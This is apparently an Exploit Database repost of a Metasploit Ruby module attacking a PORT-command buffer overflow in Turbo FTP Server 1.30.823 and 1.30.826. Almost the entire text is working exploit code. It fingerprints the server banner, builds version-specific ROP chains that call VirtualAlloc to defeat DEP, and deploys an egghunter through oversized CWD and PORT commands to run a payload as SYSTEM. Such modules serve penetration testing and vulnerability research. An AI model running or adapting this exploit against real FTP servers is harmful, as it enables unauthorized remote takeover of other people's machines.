Turbo FTP Server 1.30.823 – PORT Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2012-10-23
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/22161/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Ftp
  	include Msf::Exploit::Remote::Egghunter
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Turbo FTP Server 1.30.823 PORT Overflow',
  			'Description'=> %q{
  				This module exploits a buffer overflow vulnerability found in the PORT
  				command in Turbo FTP Server 1.30.823 & 1.30.826, which results in remote
  				code execution under the context of SYSTEM.
  			},
  			'Author' =>
  				[
  					'Zhao Liang',#Initial Descovery
  					'Lincoln', #Metasploit
  					'corelanc0d3r',#Metasploit
  					'thelightcosine' #Metasploit
  				],
  			'License'=> MSF_LICENSE,
  			'Platform' => [ 'win' ],
  			'References' =>
  				[
  					[ 'OSVDB', '85887' ]
  				],
  			'Payload'=>
  				{
  					'BadChars' => "\x00",
  					'EncoderType'=> Msf::Encoder::Type::AlphanumMixed,
  					'EncoderOptions' => { 'BufferRegister' => 'EDI' }
  					},
  			'Targets'=>
  				[
  					[ 'Automatic', {} ],
  					['Windows Universal TurboFtp 1.30.823',
  						{
  							'Ret' => 0x00411985, # RETN (ROP NOP) [tbssvc.exe]
  							'ver' => 823
  						},
  
  					],
  					[ 'Windows Universal TurboFtp 1.30.826',
  						{
  							'Ret' => 0x004fb207, # RETN (ROP NOP) [tbssvc.exe]
  							'ver' => 826
  						},
  					],
  				],
  
  			'DisclosureDate' => 'Oct 03 2012',
  			'DefaultTarget'=> 0))
  	end
  
  	def check
  		connect
  		disconnect
  		if (banner =~ /1\.30\.823/)
  			return Exploit::CheckCode::Vulnerable
  		elsif (banner =~ /1\.30\.826/)
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  
  	def create_rop_chain(ver)
  		# rop chain generated with mona.py - www.corelan.be
  		if ver == 823
  			rop_gadgets =
  			[
  				0x004b692a,	# POP ECX # RETN [tbssvc.exe]
  				0x005f6074,	# ptr to &VirtualAlloc() [IAT tbssvc.exe]
  				0x0046f82a,	# MOV EDX,DWORD PTR DS:[ECX] # SUB EAX,EDX # RETN [tbssvc.exe]
  				0x00423b95,	# XCHG EDX,EDI # RETN [tbssvc.exe]
  				0x00423a27,	# XCHG ESI,EDI # RETN [tbssvc.exe]
  				0x005d1c99,	# POP EBP # RETN [tbssvc.exe]
  				0x004cad5d,	# & jmp esp [tbssvc.exe]
  				0x004ab16b,	# POP EBX # RETN [tbssvc.exe]
  				0x00000001,	# 0x00000001-> ebx
  				0x005ef7f6,	# POP EDX # RETN [tbssvc.exe]
  				0x00001000,	# 0x00001000-> edx
  				0x005d7139,	# POP ECX # RETN [tbssvc.exe]
  				0x00000040,	# 0x00000040-> ecx
  				0x004df1e0,	# POP EDI # RETN [tbssvc.exe]
  				0x00411985,	# RETN (ROP NOP) [tbssvc.exe]
  				0x00502639,	# POP EAX # RETN [tbssvc.exe]
  				0x90909090,	# nop
  				0x00468198,	# PUSHAD # RETN [tbssvc.exe]
  			].flatten.pack("V*")
  
  		elsif ver == 826
  			rop_gadgets =
  			[
  				0x0050eae4,	# POP ECX # RETN [tbssvc.exe]
  				0x005f7074,	# ptr to &VirtualAlloc() [IAT tbssvc.exe]
  				0x004aa7aa,	# MOV EDX,DWORD PTR DS:[ECX] # SUB EAX,EDX # RETN [tbssvc.exe]
  				0x00496A65,	# XOR EAX,EAX [tbssvc.exe]
  				0x004badda,	# ADD EAX,EDX # RETN [tbssvc.exe]
  				0x00411867,	# XCHG EAX,ESI # XOR EAX,EAX # POP EBX # RETN [tbssvc.exe]
  				0x00000001,	# 0x00000001-> ebx
  				0x0058a27a,	# POP EBP # RETN [tbssvc.exe]
  				0x004df7dd,	# & call esp [tbssvc.exe]
  				0x005f07f6,	# POP EDX # RETN [tbssvc.exe]
  				0x00001000,	# 0x00001000-> edx
  				0x004adc08,	# POP ECX # RETN [tbssvc.exe]
  				0x00000040,	# 0x00000040-> ecx
  				0x00465fbe,	# POP EDI # RETN [tbssvc.exe]
  				0x004fb207,	# RETN (ROP NOP) [tbssvc.exe]
  				0x00465f36,	# POP EAX # RETN [tbssvc.exe]
  				0x90909090,	# nop
  				0x004687ff,	# PUSHAD # RETN [tbssvc.exe]
  			].flatten.pack("V*")
  		end
  		return rop_gadgets
  
  	end
  
  	def exploit
  		my_target = target
  		if my_target.name == 'Automatic'
  			print_status("Automatically detecting the target")
  			connect
  			disconnect
  
  			if (banner =~ /1\.30\.823/)
  				my_target = targets[1]
  			elsif (banner =~ /1\.30\.826/)
  				my_target = targets[2]
  			end
  			if (not my_target)
  				print_status("No matching target...quiting")
  				return
  			end
  			target = my_target
  		end
  
  		print_status("Selected Target: #{my_target.name}")
  		connect_login
  
  		rop_chain = create_rop_chain(target['ver'])
  		rop = rop_chain.unpack('C*').join(',')
  
  		eggoptions =
  			{
  				:checksum => true,
  				:eggtag => 'w00t',
  				:depmethod => 'virtualalloc',
  				:depreg => 'esi'
  			}
  
  		badchars = "\x00"
  		hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)
  
  		speedupasm = "mov edx,eax\n"
  		speedupasm << "sub edx,0x1000\n"
  		speedupasm << "sub esp,0x1000"
  		speedup = Metasm::Shellcode.assemble(Metasm::Ia32.new, speedupasm).encode_string
  
  		fasterhunter = speedup
  		fasterhunter << hunter
  
  		print_status("Connecting to target #{target.name} server")
  
  		buf1 = rand_text_alpha(2012)
  		buf1 << egg
  		buf1 << rand_text_alpha(100)
  
  		buf2 = rand_text_alpha(4).unpack('C*').join(',')
  		buf2 << ","
  		buf2 << [target['Ret']].pack("V").unpack('C*').join(',') #eip
  		buf2 << ","
  		buf2 << rop
  		buf2 << ","
  		buf2 << fasterhunter.unpack('C*').join(',')
  		buf2 << ","
  		buf2 << rand_text_alpha(90).unpack('C*').join(',')
  
  		send_cmd( ['CWD', buf1], true );
  		send_cmd( ['PORT', buf2], true );
  
  		print_status("Egghunter deployed, locating shellcode")
  
  		handler
  		disconnect
  	end
  
  end